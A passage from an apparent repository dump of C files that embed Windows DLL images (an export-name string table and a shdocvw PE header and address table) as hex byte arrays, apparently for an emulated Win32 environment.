  //cii._alldiv._all\n/* 012D00 */   \"\\x64\\x76\\x72\\x6D\\x00\\x5F\\x61\\x6C\\x6C\\x6D\\x75\\x6C\\x00\\x5F\\x61\\x6C\"   //dvrm._allmul._al\n/* 012D20 */   \"\\x6C\\x6F\\x63\\x61\\x5F\\x70\\x72\\x6F\\x62\\x65\\x00\\x5F\\x61\\x6C\\x6C\\x72\"   //loca_probe._allr\n/* 012D40 */   \"\\x65\\x6D\\x00\\x5F\\x61\\x6C\\x6C\\x73\\x68\\x6C\\x00\\x5F\\x61\\x6C\\x6C\\x73\"   //em._allshl._alls\n/* 012D60 */   \"\\x68\\x72\\x00\\x5F\\x61\\x74\\x6F\\x69\\x36\\x34\\x00\\x5F\\x61\\x75\\x6C\\x6C\"   //hr._atoi64._aull\n/* 012D80 */   \"\\x64\\x69\\x76\\x00\\x5F\\x61\\x75\\x6C\\x6C\\x64\\x76\\x72\\x6D\\x00\\x5F\\x61\"   //div._aulldvrm._a\n/* 012DA0 */   \"\\x75\\x6C\\x6C\\x72\\x65\\x6D\\x00\\x5F\\x61\\x75\\x6C\\x6C\\x73\\x68\\x72\\x00\"   //ullrem._aullshr.\n/* 012DC0 */   \"\\x5F\\x63\\x68\\x6B\\x73\\x74\\x6B\\x00\\x5F\\x66\\x6C\\x74\\x75\\x73\\x65\\x64\"   //_chkstk._fltused\n/* 012DE0 */   \"\\x00\\x5F\\x66\\x74\\x6F\\x6C\\x00\\x5F\\x69\\x36\\x34\\x74\\x6F\\x61\\x00\\x5F\"   //._ftol._i64toa._\n/* 012E00 */   \"\\x69\\x36\\x34\\x74\\x6F\\x77\\x00\\x5F\\x69\\x74\\x6F\\x61\\x00\\x5F\\x69\\x74\"   //i64tow._itoa._it\n/* 012E20 */   \"\\x6F\\x77\\x00\\x5F\\x6C\\x66\\x69\\x6E\\x64\\x00\\x5F\\x6C\\x74\\x6F\\x61\\x00\"   //ow._lfind._ltoa.\n/* 012E40 */   \"\\x5F\\x6C\\x74\\x6F\\x77\\x00\\x5F\\x6D\\x65\\x6D\\x63\\x63\\x70\\x79\\x00\\x5F\"   //_ltow._memccpy._\n/* 012E60 */   \"\\x6D\\x65\\x6D\\x69\\x63\\x6D\\x70\\x00\\x5F\\x73\\x6E\\x70\\x72\\x69\\x6E\\x74\"   //memicmp._snprint\n/* 012E80 */   \"\\x66\\x00\\x5F\\x73\\x6E\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x73\\x70\"   //f._snwprintf._sp\n/* 012EA0 */   \"\\x6C\\x69\\x74\\x70\\x61\\x74\\x68\\x00\\x5F\\x73\\x74\\x72\\x63\\x6D\\x70\\x69\"   //litpath._strcmpi\n/* 012EC0 */   \"\\x00\\x5F\\x73\\x74\\x72\\x69\\x63\\x6D\\x70\\x00\\x5F\\x73\\x74\\x72\\x6C\\x77\"   //._stricmp._strlw\n/* 012EE0 */   \"\\x72\\x00\\x5F\\x73\\x74\\x72\\x6E\\x69\\x63\\x6D\\x70\\x00\\x5F\\x73\\x74\\x72\"   //r._strnicmp._str\n/* 012F00 */   \"\\x75\\x70\\x72\\x00\\x5F\\x74\\x6F\\x6C\\x6F\\x77\\x65\\x72\\x00\\x5F\\x74\\x6F\"   //upr._tolower._to\n/* 012F20 */   \"\\x75\\x70\\x70\\x65\\x72\\x00\\x5F\\x75\\x69\\x36\\x34\\x74\\x6F\\x61\\x00\\x5F\"   //upper._ui64toa._\n/* 012F40 */   \"\\x75\\x69\\x36\\x34\\x74\\x6F\\x77\\x00\\x5F\\x75\\x6C\\x74\\x6F\\x61\\x00\\x5F\"   //ui64tow._ultoa._\n/* 012F60 */   \"\\x75\\x6C\\x74\\x6F\\x77\\x00\\x5F\\x76\\x73\\x6E\\x70\\x72\\x69\\x6E\\x74\\x66\"   //ultow._vsnprintf\n/* 012F80 */   \"\\x00\\x5F\\x76\\x73\\x6E\\x77\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x5F\\x77\\x63\"   //._vsnwprintf._wc\n/* 012FA0 */   \"\\x73\\x69\\x63\\x6D\\x70\\x00\\x5F\\x77\\x63\\x73\\x6C\\x77\\x72\\x00\\x5F\\x77\"   //sicmp._wcslwr._w\n/* 012FC0 */   \"\\x63\\x73\\x6E\\x69\\x63\\x6D\\x70\\x00\\x5F\\x77\\x63\\x73\\x75\\x70\\x72\\x00\"   //csnicmp._wcsupr.\n/* 012FE0 */   \"\\x5F\\x77\\x74\\x6F\\x69\\x00\\x5F\\x77\\x74\\x6F\\x69\\x36\\x34\\x00\\x5F\\x77\"   //_wtoi._wtoi64._w\n/* 013000 */   \"\\x74\\x6F\\x6C\\x00\\x61\\x62\\x73\\x00\\x61\\x74\\x61\\x6E\\x00\\x61\\x74\\x6F\"   //tol.abs.atan.ato\n/* 013020 */   \"\\x69\\x00\\x61\\x74\\x6F\\x6C\\x00\\x62\\x73\\x65\\x61\\x72\\x63\\x68\\x00\\x63\"   //i.atol.bsearch.c\n/* 013040 */   \"\\x65\\x69\\x6C\\x00\\x63\\x6F\\x73\\x00\\x66\\x61\\x62\\x73\\x00\\x66\\x6C\\x6F\"   //eil.cos.fabs.flo\n/* 013060 */   \"\\x6F\\x72\\x00\\x69\\x73\\x61\\x6C\\x6E\\x75\\x6D\\x00\\x69\\x73\\x61\\x6C\\x70\"   //or.isalnum.isalp\n/* 013080 */   \"\\x68\\x61\\x00\\x69\\x73\\x63\\x6E\\x74\\x72\\x6C\\x00\\x69\\x73\\x64\\x69\\x67\"   //ha.iscntrl.isdig\n/* 0130A0 */   \"\\x69\\x74\\x00\\x69\\x73\\x67\\x72\\x61\\x70\\x68\\x00\\x69\\x73\\x6C\\x6F\\x77\"   //it.isgraph.islow\n/* 0130C0 */   \"\\x65\\x72\\x00\\x69\\x73\\x70\\x72\\x69\\x6E\\x74\\x00\\x69\\x73\\x70\\x75\\x6E\"   //er.isprint.ispun\n/* 0130E0 */   \"\\x63\\x74\\x00\\x69\\x73\\x73\\x70\\x61\\x63\\x65\\x00\\x69\\x73\\x75\\x70\\x70\"   //ct.isspace.isupp\n/* 013100 */   \"\\x65\\x72\\x00\\x69\\x73\\x77\\x61\\x6C\\x70\\x68\\x61\\x00\\x69\\x73\\x77\\x63\"   //er.iswalpha.iswc\n/* 013120 */   \"\\x74\\x79\\x70\\x65\\x00\\x69\\x73\\x77\\x64\\x69\\x67\\x69\\x74\\x00\\x69\\x73\"   //type.iswdigit.is\n/* 013140 */   \"\\x77\\x6C\\x6F\\x77\\x65\\x72\\x00\\x69\\x73\\x77\\x73\\x70\\x61\\x63\\x65\\x00\"   //wlower.iswspace.\n/* 013160 */   \"\\x69\\x73\\x77\\x78\\x64\\x69\\x67\\x69\\x74\\x00\\x69\\x73\\x78\\x64\\x69\\x67\"   //iswxdigit.isxdig\n/* 013180 */   \"\\x69\\x74\\x00\\x6C\\x61\\x62\\x73\\x00\\x6C\\x6F\\x67\\x00\\x6D\\x62\\x73\\x74\"   //it.labs.log.mbst\n/* 0131A0 */   \"\\x6F\\x77\\x63\\x73\\x00\\x6D\\x65\\x6D\\x63\\x68\\x72\\x00\\x6D\\x65\\x6D\\x63\"   //owcs.memchr.memc\n/* 0131C0 */   \"\\x6D\\x70\\x00\\x6D\\x65\\x6D\\x63\\x70\\x79\\x00\\x6D\\x65\\x6D\\x6D\\x6F\\x76\"   //mp.memcpy.memmov\n/* 0131E0 */   \"\\x65\\x00\\x6D\\x65\\x6D\\x73\\x65\\x74\\x00\\x70\\x6F\\x77\\x00\\x71\\x73\\x6F\"   //e.memset.pow.qso\n/* 013200 */   \"\\x72\\x74\\x00\\x73\\x69\\x6E\\x00\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x73\"   //rt.sin.sprintf.s\n/* 013220 */   \"\\x71\\x72\\x74\\x00\\x73\\x73\\x63\\x61\\x6E\\x66\\x00\\x73\\x74\\x72\\x63\\x61\"   //qrt.sscanf.strca\n/* 013240 */   \"\\x74\\x00\\x73\\x74\\x72\\x63\\x68\\x72\\x00\\x73\\x74\\x72\\x63\\x6D\\x70\\x00\"   //t.strchr.strcmp.\n/* 013260 */   \"\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x73\\x74\\x72\\x63\\x73\\x70\\x6E\\x00\\x73\"   //strcpy.strcspn.s\n/* 013280 */   \"\\x74\\x72\\x6C\\x65\\x6E\\x00\\x73\\x74\\x72\\x6E\\x63\\x61\\x74\\x00\\x73\\x74\"   //trlen.strncat.st\n/* 0132A0 */   \"\\x72\\x6E\\x63\\x6D\\x70\\x00\\x73\\x74\\x72\\x6E\\x63\\x70\\x79\\x00\\x73\\x74\"   //rncmp.strncpy.st\n/* 0132C0 */   \"\\x72\\x70\\x62\\x72\\x6B\\x00\\x73\\x74\\x72\\x72\\x63\\x68\\x72\\x00\\x73\\x74\"   //rpbrk.strrchr.st\n/* 0132E0 */   \"\\x72\\x73\\x70\\x6E\\x00\\x73\\x74\\x72\\x73\\x74\\x72\\x00\\x73\\x74\\x72\\x74\"   //rspn.strstr.strt\n/* 013300 */   \"\\x6F\\x6C\\x00\\x73\\x74\\x72\\x74\\x6F\\x75\\x6C\\x00\\x73\\x77\\x70\\x72\\x69\"   //ol.strtoul.swpri\n/* 013320 */   \"\\x6E\\x74\\x66\\x00\\x74\\x61\\x6E\\x00\\x74\\x6F\\x6C\\x6F\\x77\\x65\\x72\\x00\"   //ntf.tan.tolower.\n/* 013340 */   \"\\x74\\x6F\\x75\\x70\\x70\\x65\\x72\\x00\\x74\\x6F\\x77\\x6C\\x6F\\x77\\x65\\x72\"   //toupper.towlower\n/* 013360 */   \"\\x00\\x74\\x6F\\x77\\x75\\x70\\x70\\x65\\x72\\x00\\x76\\x44\\x62\\x67\\x50\\x72\"   //.towupper.vDbgPr\n/* 013380 */   \"\\x69\\x6E\\x74\\x45\\x78\\x00\\x76\\x44\\x62\\x67\\x50\\x72\\x69\\x6E\\x74\\x45\"   //intEx.vDbgPrintE\n/* 0133A0 */   \"\\x78\\x57\\x69\\x74\\x68\\x50\\x72\\x65\\x66\\x69\\x78\\x00\\x76\\x73\\x70\\x72\"   //xWithPrefix.vspr\n/* 0133C0 */   \"\\x69\\x6E\\x74\\x66\\x00\\x77\\x63\\x73\\x63\\x61\\x74\\x00\\x77\\x63\\x73\\x63\"   //intf.wcscat.wcsc\n/* 0133E0 */   \"\\x68\\x72\\x00\\x77\\x63\\x73\\x63\\x6D\\x70\\x00\\x77\\x63\\x73\\x63\\x70\\x79\"   //hr.wcscmp.wcscpy\n/* 013400 */   \"\\x00\\x77\\x63\\x73\\x63\\x73\\x70\\x6E\\x00\\x77\\x63\\x73\\x6C\\x65\\x6E\\x00\"   //.wcscspn.wcslen.\n/* 013420 */   \"\\x77\\x63\\x73\\x6E\\x63\\x61\\x74\\x00\\x77\\x63\\x73\\x6E\\x63\\x6D\\x70\\x00\"   //wcsncat.wcsncmp.\n/* 013440 */   \"\\x77\\x63\\x73\\x6E\\x63\\x70\\x79\\x00\\x77\\x63\\x73\\x70\\x62\\x72\\x6B\\x00\"   //wcsncpy.wcspbrk.\n/* 013460 */   \"\\x77\\x63\\x73\\x72\\x63\\x68\\x72\\x00\\x77\\x63\\x73\\x73\\x70\\x6E\\x00\\x77\"   //wcsrchr.wcsspn.w\n/* 013480 */   \"\\x63\\x73\\x73\\x74\\x72\\x00\\x77\\x63\\x73\\x74\\x6F\\x6C\\x00\\x77\\x63\\x73\"   //csstr.wcstol.wcs\n/* 0134A0 */   \"\\x74\\x6F\\x6D\\x62\\x73\\x00\\x77\\x63\\x73\\x74\\x6F\\x75\\x6C\\x00\\xB8\\x00\"   //tombs.wcstoul...\n/* 0134C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\n"
  },
  {
    "path": "src/environment/win32/dlls/shdocvwdll.c",
    "content": "const char shdocvw_7E290000[] =\n/* 7E290000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 7E290020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 7E290040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\x00\\x00\\x00\"   //............ð...\n/* 7E290080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 7E2900A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 7E2900C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 7E2900E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 7E290100 */   \"\\xA8\\x6A\\xE2\\x68\\xEC\\x0B\\x8C\\x3B\\xEC\\x0B\\x8C\\x3B\\xEC\\x0B\\x8C\\x3B\"   //.jâhì..;ì..;ì..;\n/* 7E290120 */   \"\\x2F\\x04\\xD1\\x3B\\xEB\\x0B\\x8C\\x3B\\x2F\\x04\\x83\\x3B\\xE1\\x0B\\x8C\\x3B\"   ///.Ñ;ë..;/..;á..;\n/* 7E290140 */   \"\\x3D\\x07\\xD3\\x3B\\xEE\\x0B\\x8C\\x3B\\xEC\\x0B\\x8D\\x3B\\x54\\x0A\\x8C\\x3B\"   //=.Ó;î..;ì..;T..;\n/* 7E290160 */   \"\\x2F\\x04\\xD0\\x3B\\xED\\x0B\\x8C\\x3B\\x2F\\x04\\xD2\\x3B\\xED\\x0B\\x8C\\x3B\"   ///.Ð;í..;/.Ò;í..;\n/* 7E290180 */   \"\\x2F\\x04\\xEC\\x3B\\xF1\\x0B\\x8C\\x3B\\x2F\\x04\\xD3\\x3B\\x7E\\x0B\\x8C\\x3B\"   ///.ì;ñ..;/.Ó;~..;\n/* 7E2901A0 */   \"\\x2F\\x04\\xD6\\x3B\\xED\\x0B\\x8C\\x3B\\x52\\x69\\x63\\x68\\xEC\\x0B\\x8C\\x3B\"   ///.Ö;í..;Richì..;\n/* 7E2901C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E2901E0 */   \"\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\\x48\\x1D\\x90\\x49\\x5B\\x4C\\x6F\\x72\"   //PE..L...H..I[Lor\n/* 7E290200 */   \"\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\\x0B\\x01\\x07\\x0A\\x00\\x46\\x07\\x00\"   //dPE]à..!.....F..\n/* 7E290220 */   \"\\x00\\x3E\\x02\\x00\\x00\\x00\\x00\\x00\\x0B\\x71\\x00\\x00\\x00\\x10\\x00\\x00\"   //.>.......q......\n/* 7E290240 */   \"\\x00\\x20\\x07\\x00\\x00\\x00\\xDD\\x77\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\"   //......Ýw........\n/* 7E290260 */   \"\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290280 */   \"\\x00\\xB0\\x09\\x00\\x00\\x10\\x00\\x00\\xB8\\x5B\\x0A\\x00\\x03\\x00\\x00\\x00\"   //.........[......\n/* 7E2902A0 */   \"\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 7E2902C0 */   \"\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xA4\\x16\\x00\\x00\\x52\\x52\\x00\\x00\"   //............RR..\n/* 7E2902E0 */   \"\\x24\\x2B\\x07\\x00\\x50\\x00\\x00\\x00\\x00\\xB0\\x07\\x00\\x80\\xA9\\x01\\x00\"   //$+..P...........\n/* 7E290300 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290320 */   \"\\x00\\x60\\x09\\x00\\xF8\\x4A\\x00\\x00\\x68\\x55\\x07\\x00\\x38\\x00\\x00\\x00\"   //.`..øJ..hU..8...\n/* 7E290340 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x17\\x02\\x00\\x40\\x00\\x00\\x00\"   //........(...@...\n/* 7E290380 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\xA4\\x06\\x00\\x00\"   //................\n/* 7E2903A0 */   \"\\xC8\\x29\\x07\\x00\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //È)..`...........\n/* 7E2903C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\"   //.........text...\n/* 7E2903E0 */   \"\\xC9\\x45\\x07\\x00\\x00\\x10\\x00\\x00\\xC9\\x45\\x07\\x00\\x00\\x10\\x00\\x00\"   //ÉE......ÉE......\n/* 7E290400 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\"   //...............`\n/* 7E290420 */   \"\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\x28\\x46\\x00\\x00\\x00\\x60\\x07\\x00\"   //.data...(F...`..\n/* 7E290440 */   \"\\x28\\x46\\x00\\x00\\x00\\x60\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //(F...`..........\n/* 7E290460 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\"   //....@..À.rsrc...\n/* 7E290480 */   \"\\x80\\xA9\\x01\\x00\\x00\\xB0\\x07\\x00\\x80\\xA9\\x01\\x00\\x00\\xB0\\x07\\x00\"   //................\n/* 7E2904A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\"   //............@..@\n/* 7E2904C0 */   \"\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\\xF8\\x4A\\x00\\x00\\x00\\x60\\x09\\x00\"   //.reloc..øJ...`..\n/* 7E2904E0 */   \"\\xF8\\x4A\\x00\\x00\\x00\\x60\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //øJ...`..........\n/* 7E290500 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //....@..B........\n/* 7E290520 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290540 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290560 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290580 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E2905A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E2905C0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E2905E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290600 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290620 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7E290640 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\nconst char shdocvw_7E2A4480[] =\n/* 7E290000 */   \"\\x00\\x00\\x00\\x00\\xB0\\x18\\x8C\\x49\\x00\\x00\\x00\\x00\\x3E\\x31\\x00\\x00\"   //.......I....>1..\n/* 7E290020 */   \"\\x01\\x00\\x00\\x00\\xA5\\x02\\x00\\x00\\xA5\\x02\\x00\\x00\\xCC\\x16\\x00\\x00\"   //............Ì...\n/* 7E290040 */   \"\\x60\\x21\\x00\\x00\\xF4\\x2B\\x00\\x00\\x24\\x69\\x06\\x00\\x2D\\xB2\\x02\\x00\"   //`!..ô+..$i..-...\n/* 7E290060 */   \"\\x7D\\xB1\\x02\\x00\\xD1\\xB1\\x02\\x00\\xB8\\x4E\\x06\\x00\\x5B\\xD4\\x02\\x00\"   //}...Ñ....N..[Ô..\n/* 7E290080 */   \"\\xA0\\x73\\x00\\x00\\x49\\xCE\\x03\\x00\\x6C\\xBC\\x02\\x00\\xC9\\xF1\\x00\\x00\"   //.s..IÎ..l...Éñ..\n/* 7E2900A0 */   \"\\x2F\\xCF\\x03\\x00\\x37\\xCC\\x03\\x00\\x61\\xCB\\x03\\x00\\x24\\xD0\\x03\\x00\"   ///Ï..7Ì..aË..$Ð..\n/* 7E2900C0 */   \"\\x19\\xD1\\x03\\x00\\x94\\xCD\\x03\\x00\\xE2\\xCC\\x03\\x00\\x31\\x7D\\x00\\x00\"   //.Ñ...Í..âÌ..1}..\n/* 7E2900E0 */   \"\\xD8\\x2E\\x01\\x00\\x0C\\xD4\\x03\\x00\\x4F\\x81\\x02\\x00\\x3F\\xD3\\x03\\x00\"   //Ø....Ô..O...?Ó..\n/* 7E290100 */   \"\\x5A\\xD4\\x03\\x00\\xA3\\x7E\\x02\\x00\\x87\\xD3\\x03\\x00\\xBE\\xD3\\x03\\x00\"   //ZÔ...~...Ó...Ó..\n/* 7E290120 */   \"\\xA8\\xD4\\x03\\x00\\x83\\x35\\x04\\x00\\x00\\xCC\\x03\\x00\\x0C\\xF0\\x00\\x00\"   //.Ô...5...Ì...ð..\n/* 7E290140 */   \"\\xC9\\x7C\\x00\\x00\\x8C\\x74\\x00\\x00\\x7B\\xBD\\x02\\x00\\x7D\\xD2\\x02\\x00\"   //É|...t..{...}Ò..\n/* 7E290160 */   \"\\xE0\\xC8\\x03\\x00\\x84\\xC3\\x03\\x00\\x74\\x23\\x05\\x00\\x74\\x23\\x05\\x00\"   //àÈ...Ã..t#..t#..\n/* 7E290180 */   \"\\xA4\\x23\\x05\\x00\\xA4\\x23\\x05\\x00\\xFE\\x24\\x05\\x00\\xFE\\x24\\x05\\x00\"   //.#...#..þ$..þ$..\n/* 7E2901A0 */   \"\\xE0\\x1E\\x05\\x00\\xA5\\x1C\\x05\\x00\\xD6\\x24\\x05\\x00\\xD6\\x24\\x05\\x00\"   //à.......Ö$..Ö$..\n/* 7E2901C0 */   \"\\xDA\\x25\\x05\\x00\\xDA\\x25\\x05\\x00\\x3F\\x25\\x05\\x00\\x3F\\x25\\x05\\x00\"   //Ú%..Ú%..?%..?%..\n/* 7E2901E0 */   \"\\x1B\\x25\\x05\\x00\\x1B\\x25\\x05\\x00\\x09\\x37\\x05\\x00\\x01\\x71\\x06\\x00\"   //.%...%...7...q..\n/* 7E290200 */   \"\\x89\\x71\\x06\\x00\\x69\\x6E\\x06\\x00\\x01\\x70\\x06\\x00\\xCA\\x7F\\x00\\x00\"   //.q..in...p..Ê...\n/* 7E290220 */   \"\\x77\\xC8\\x03\\x00\\x65\\xC2\\x03\\x00\\x98\\xAF\\x00\\x00\\x9C\\x34\\x04\\x00\"   //wÈ..eÂ.......4..\n/* 7E290240 */   \"\\xBD\\x54\\x02\\x00\\xE5\\x6C\\x01\\x00\\xD0\\x6D\\x05\\x00\\x16\\xBE\\x02\\x00\"   //.T..ål..Ðm......\n/* 7E290260 */   \"\\x3D\\xAB\\x00\\x00\\x09\\x4A\\x02\\x00\\x29\\xA0\\x05\\x00\\xED\\xCC\\x02\\x00\"   //=....J..)...íÌ..\n/* 7E290280 */   \"\\x01\\x2E\\x05\\x00\\xC5\\x2D\\x05\\x00\\x5A\\x4B\\x04\\x00\\x76\\x49\\x04\\x00\"   //....Å-..ZK..vI..\n/* 7E2902A0 */   \"\\xDF\\x30\\x05\\x00\\xDF\\x30\\x05\\x00\\xBA\\x30\\x05\\x00\\xBA\\x30\\x05\\x00\"   //ß0..ß0...0...0..\n/* 7E2902C0 */   \"\\xCC\\x4D\\x04\\x00\\x45\\x4A\\x04\\x00\\x8D\\xC1\\x02\\x00\\x0F\\xF1\\x00\\x00\"   //ÌM..EJ...Á...ñ..\n/* 7E2902E0 */   \"\\x38\\x4C\\x04\\x00\\xCE\\x49\\x04\\x00\\xDC\\x4A\\x04\\x00\\x23\\x49\\x04\\x00\"   //8L..ÎI..ÜJ..#I..\n/* 7E290300 */   \"\\x51\\x4D\\x04\\x00\\x06\\x2F\\x01\\x00\\xDC\\x4C\\x04\\x00\\x57\\x44\\x02\\x00\"   //QM.../..ÜL..WD..\n/* 7E290320 */   \"\\xA8\\xD5\\x03\\x00\\xE7\\xF0\\x00\\x00\\xC5\\xE9\\x04\\x00\\x71\\xD5\\x03\\x00\"   //.Õ..çð..Åé..qÕ..\n/* 7E290340 */   \"\\x2E\\x4F\\x01\\x00\\xDE\\xD5\\x03\\x00\\xE8\\x0C\\x04\\x00\\xDD\\x0A\\x04\\x00\"   //.O..ÞÕ..è...Ý...\n/* 7E290360 */   \"\\xA9\\xA8\\x01\\x00\\xFD\\x5F\\x04\\x00\\x8C\\xDC\\x03\\x00\\x11\\x72\\x06\\x00\"   //....ý_...Ü...r..\n/* 7E290380 */   \"\\xA9\\x73\\x06\\x00\\xCB\\xAD\\x05\\x00\\x9D\\x51\\x02\\x00\\x09\\x85\\x04\\x00\"   //.s..Ë....Q......\n/* 7E2903A0 */   \"\\xB1\\x85\\x04\\x00\\xA9\\x7F\\x04\\x00\\x99\\x80\\x04\\x00\\x8D\\xDF\\x01\\x00\"   //.............ß..\n/* 7E2903C0 */   \"\\xA9\\x89\\x04\\x00\\x09\\x88\\x04\\x00\\xD9\\x88\\x04\\x00\\x80\\x8F\\x04\\x00\"   //........Ù.......\n/* 7E2903E0 */   \"\\x9E\\x8E\\x04\\x00\\xCC\\x8E\\x04\\x00\\xC6\\x8D\\x04\\x00\\xF5\\xE0\\x01\\x00\"   //....Ì...Æ...õà..\n/* 7E290400 */   \"\\xF9\\x7D\\x04\\x00\\x29\\x83\\x04\\x00\\x19\\x84\\x04\\x00\\xD1\\x7E\\x04\\x00\"   //ù}..).......Ñ~..\n/* 7E290420 */   \"\\x59\\x86\\x04\\x00\\x31\\x87\\x04\\x00\\x17\\x8F\\x04\\x00\\xDE\\x6E\\x02\\x00\"   //Y...1.......Þn..\n/* 7E290440 */   \"\\xB9\\x7C\\x04\\x00\\x89\\x81\\x04\\x00\\x59\\x82\\x04\\x00\\x59\\x7D\\x04\\x00\"   //.|......Y...Y}..\n/* 7E290460 */   \"\\x2D\\x78\\x04\\x00\\xD1\\x78\\x04\\x00\\x60\\x73\\x04\\x00\\xF8\\x72\\x04\\x00\"   //-x..Ñx..`s..ør..\n/* 7E290480 */   \"\\x3D\\x79\\x01\\x00\\x99\\x7F\\x01\\x00\\x70\\x10\\x04\\x00\\x71\\x9C\\x01\\x00\"   //=y......p...q...\n/* 7E2904A0 */   \"\\x29\\xA1\\x01\\x00\\xFD\\x9F\\x01\\x00\\xCC\\x9B\\x01\\x00\\xBC\\x9E\\x01\\x00\"   //)...ý...Ì.......\n/* 7E2904C0 */   \"\\xF9\\x1C\\x04\\x00\\x39\\x19\\x04\\x00\\x60\\xE3\\x01\\x00\\x01\\x12\\x04\\x00\"   //ù...9...`ã......\n/* 7E2904E0 */   \"\\xA1\\x29\\x04\\x00\\x61\\x14\\x04\\x00\\x09\\x2B\\x04\\x00\\xF9\\x1B\\x04\\x00\"   //.)..a....+..ù...\n/* 7E290500 */   \"\\x49\\x18\\x04\\x00\\xF4\\xB3\\x02\\x00\\xE1\\x26\\x04\\x00\\x89\\x2D\\x04\\x00\"   //I...ô...á&...-..\n/* 7E290520 */   \"\\xB4\\x9D\\x01\\x00\\x98\\x12\\x02\\x00\\x39\\x13\\x02\\x00\\x21\\x1B\\x04\\x00\"   //........9...!...\n/* 7E290540 */   